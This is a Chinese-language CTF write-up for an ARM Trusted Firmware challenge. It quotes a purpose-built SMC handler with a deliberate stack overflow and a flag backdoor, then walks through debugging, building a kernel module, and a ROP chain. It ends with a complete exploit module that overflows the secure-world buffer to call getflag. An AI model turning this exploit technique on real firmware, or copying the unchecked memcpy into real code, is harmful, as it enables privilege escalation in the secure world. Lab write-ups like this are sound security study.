分析
题目给了
------ 2024/7/29 18:52 130728 bl31.elf ------ 2024/7/29 18:52 3308017 flash.bin ------ 2024/7/29 18:53 41724416 Image ------ 2024/7/29 19:59 19 kernel.release ------ 2024/7/29 19:32 286926 linux.config ------ 2024/7/29 19:41 22 linux_version.txt ------ 2024/7/29 18:54 96618488 qemu-system-aarch64 ------ 2024/7/29 18:53 13745541 rootfs.cpio.gz ------ 2024/7/29 18:52 1883 smc.c
smc.c自己注册了一个存在栈溢出的smc_handler,且有后门getflag,需要传入flag地址作为参数,汇编是从系统寄存器读取flag
#include <common/runtime_svc.h> #include <assert.h> #include <smccc_helpers.h> #define MY_SVC "vuln_smc" void vuln(void *x1, size_t x2){ char buf[0x100]; ERROR("vuln\n"); memcpy(buf,(void *)x1, x2); return; } char flag[0x100]; void getflag(size_t addr){ if(addr != (size_t)flag){ tf_log("\x0aget flag failed!\n"); return; } asm( "MRS X1, S3_3_C15_C12_0\n" "STR W1, [X0]\n" "MRS X1, S3_3_C15_C12_1\n" "STR W1, [X0,#4]\n" "MRS X1, S3_3_C15_C12_2\n" "STR W1, [X0,#8]\n" "MRS X1, S3_3_C15_C12_3\n" "STR W1, [X0,#0xC]\n" "MRS X1, S3_3_C15_C12_4\n" "STR W1, [X0,#0x10]\n" "MRS X1, S3_3_C15_C12_5\n" "STR W1, [X0,#0x14]\n" "MRS X1, S3_3_C15_C12_6\n" "STR W1, [X0,#0x18]\n" "MRS X1, S3_3_C15_C12_7\n" "STR W1, [X0,#0x1C]\n" ); if(addr == (size_t)flag){ tf_log("\x0aget flag success!\n"); tf_log("\x0a%s\n",flag); } } uintptr_t my_smc_handler(uint32_t smc_fid, u_register_t x1, u_register_t x2, u_register_t x3, u_register_t x4, void *cookie, void *handle, u_register_t flags){ ERROR("vuln_handler: SMC Call: 0x%x\n", smc_fid); if (smc_fid != 0xc3000000) SMC_RET1(handle, SMC_UNK); vuln((void *)x1, (size_t)x2); SMC_RET1(handle, 0); } int32_t my_own_svc_setup(void){ getflag(0xdeadbeef); ERROR("vuln_handler_setup\n"); ERROR("Your share buffer is at 0x%x, size 0x2000\n", 0x423DF000); return 0; } DECLARE_RT_SVC( MY_SVC, OEN_OEM_START, OEN_OEM_END, SMC_TYPE_FAST, my_own_svc_setup, my_smc_handler );
没给qemu启动脚本,找之前的一个启动脚本喂给gpt,生成了一个可用的启动脚本:
./qemu-system-aarch64 \ -nographic \ -smp 2 \ -machine virt,secure=on,mte=off,gic-version=3,virtualization=false,acpi=off \ -cpu max,pauth-impdef=on \ -d unimp \ -m 1057 \ -monitor /dev/null \ -bios flash.bin \ -initrd rootfs.cpio.gz \ -kernel Image \ -append 'console=ttyAMA0,38400 keep_bootcon root=/dev/vda2' \ -object rng-random,filename=/dev/urandom,id=rng0 \ -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 \ -netdev user,id=vmnic \ -device virtio-net-device,netdev=vmnic \ -s
进去以后提供了root权限,因此可以编写驱动,触发smc处理函数。这里题目提供了地址0x423DF000直接使用,但是物理地址,要转成虚拟地址使用
调试
传统方法,qemu开s,gdb-multiarch连上,有符号可以直接下断点
target remote :1234 file bl31.elf b vuln
驱动编写
需要和题目给的内核版本对应,题目给了:
- linux_version.txt:
git checkout a24278ea7 - kernel.release:
6.6.0-ga24278ea74b2 - config文件
进入~/optee_qemu/linux目录,切换分支
kernel.release文件位置include/config/kernel.release
把config移动到linux目录下.config
依次执行,第二行生成Module.symvers文件。该文件包含符号信息,编译自己的模块必备
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- oldconfig -j`nproc` make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- modules_prepare -j`nproc`
另起一个目录 编写Makefile:
CROSS_COMPILE = aarch64-linux-gnu- KERNEL_SRC = /home/ayoung/optee-qemu/linux obj-m += my_module.o all: make ARCH=arm64 CROSS_COMPILE=$(CROSS_COMPILE) -C $(KERNEL_SRC) M=$(PWD) modules clean: make ARCH=arm64 CROSS_COMPILE=$(CROSS_COMPILE) -C $(KERNEL_SRC) M=$(PWD) clean
rop
最后调一个arm64的rop返回后门
0x000000000e0a3418: ldp x19, x20, [sp, #0x10]; 0x000000000e0a3414: mov x0, x19; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x30; ret;
连续控制返回地址需要
ldp x29, x30, [sp], #xxx; ret;
exp
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/string.h> #include <linux/arm-smccc.h> #define SMC_FID 0xC3000000 #define SHARED_BUF 0x423DF000 #define GETFLAG 0xE0A25A8 #define FALG_ADDR 0xE0D735C static char user_data[0x1000]; // 0x000000000e0a3418: ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x30; ret; // 0x000000000e0a3414: mov x0, x19; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x30; ret; static int __init my_module_init(void) { pr_info("my_module: initing\n"); struct arm_smccc_res res; memset(user_data, 'A', 0xf0); memset(user_data+0xf0, 'B', 0x8); memset(user_data+0xf8, 'C', 0x8); memset(user_data+0x100, 'D', 0x8); memcpy(user_data+0x108, "\x18\x34\x0a\x0e\x00\x00\x00", 0x8); // gadget1 memcpy(user_data+0x138, "\x14\x34\x0a\x0e\x00\x00\x00", 0x8); // gadget2 memcpy(user_data+0x140, "\x5c\x73\x0d\x0e\x00\x00\x00", 0x8); // x19=flag_addr memcpy(user_data+0x168, "\xa8\x25\x0a\x0e\x00\x00\x00", 0x8); // getflag unsigned long data_size = 0x310; void *va = phys_to_virt((phys_addr_t)SHARED_BUF); pr_info("my_module: virtual addr: 0x%llx", (unsigned long long)va); memcpy((char*)va, user_data, data_size); arm_smccc_smc(SMC_FID, (unsigned long)SHARED_BUF, data_size, 0, 0, 0, 0, 0, &res); pr_info("my_module: SMC call result: %lx, %lx\n", res.a0, res.a1); return 0; } static void __exit my_module_exit(void) { pr_info("my_module: exiting\n"); } module_init(my_module_init); module_exit(my_module_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Your Name"); MODULE_DESCRIPTION("My custom kernel module with SMC call");
效果
